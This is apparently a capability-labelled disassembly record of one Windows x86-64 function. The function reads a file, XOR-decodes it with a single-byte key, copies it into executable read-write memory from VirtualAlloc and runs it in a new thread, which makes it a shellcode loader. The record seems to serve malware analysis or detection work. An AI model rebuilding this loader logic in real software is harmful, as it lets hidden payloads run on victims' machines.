Function at 0x140002890
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x160
mov rbx, rdx
mov rcx, qword [rdx + 8]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400028b5
inc eax
movsxd rcx, eax
call fcn.14000ba30
mov rdi, rax
mov rdx, qword [rbx + 8]
mov r8, rax
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [r8], cl
lea rdx, [rdx + 1]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400028e0
lea rcx, [rsp + 0x30]
call fcn.140004290
nop
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140004040
mov r8d, 2
lea rcx, [rsp + 0x30]
call fcn.140004570
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x30]
call fcn.140004490
mov rdi, qword [rax + 8]
add rdi, qword [rax]
xor r8d, r8d
lea rcx, [rsp + 0x30]
call fcn.140004570
movsxd rsi, edi
mov rcx, rsi
call fcn.14000ba30
mov rbp, rax
cmp qword [rsp + 0xc0], 0
je 0x14000297d
lea rdx, str.reading_from_the_file
call fcn.1400070f0
mov rcx, rax
call fcn.1400073d0
mov r8, rsi
mov rdx, rbp
lea rcx, [rsp + 0x30]
call fcn.140004760
lea rdx, str.size_of_data_
call fcn.1400070f0
mov rcx, rax
call fcn.140002c30
mov rcx, rax
call fcn.1400073d0
lea rdx, str.size_of_file_
call fcn.1400070f0
mov rcx, rax
mov edx, edi
call fcn.140002e40
mov rcx, rax
call fcn.1400073d0
xor ebx, ebx
test edi, edi
jle 0x1400029d8
nop dword [rax]
movsx edx, byte [rbx + rbp]
lea rcx, str._x
call fcn.140001620
inc rbx
cmp rbx, rsi
jl 0x1400029c0
xor edx, edx
test edi, edi
jle 0x140002a56
cmp edi, 0x40
jb 0x140002a56
mov eax, edi
and eax, 0x8000003f
jge 0x1400029f3
dec eax
or eax, 0xffffffc0
inc eax
sub edi, eax
movsxd r9, edi
movdqa xmm2, xmmword [0x1400819f0]
lea rcx, [rbp + 0x20]
mov r8, 0xffffffffffffffe0
sub r8, rbp
nop
movdqu xmm0, xmmword [rcx - 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x20], xmm1
movdqu xmm0, xmmword [rcx - 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx - 0x10], xmm0
movdqu xmm1, xmmword [rcx]
xorps xmm1, xmm2
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x10], xmm0
add edx, 0x40
lea rcx, [rcx + 0x40]
lea rax, [r8 + rcx]
cmp rax, r9
jl 0x140002a10
movsxd r8, edx
cmp r8, rsi
jge 0x140002a7d
lea rax, [r8 + rbp]
mov rcx, rsi
sub rcx, r8
nop dword [rax + rax]
xor byte [rax], 0x39
lea rax, [rax + 1]
sub rcx, 1
jne 0x140002a70
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rsi
mov rdx, rbp
mov rcx, rax
call fcn.1400660e0
lea rax, [rsp + 0x178]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [0x140081580]
call fcn.1400070f0
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x2c], edx
lea rcx, [rsp + 0x40]
call fcn.140003ce0
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x2c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0xe0]
call fcn.14000a5f0
nop
xor eax, eax
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret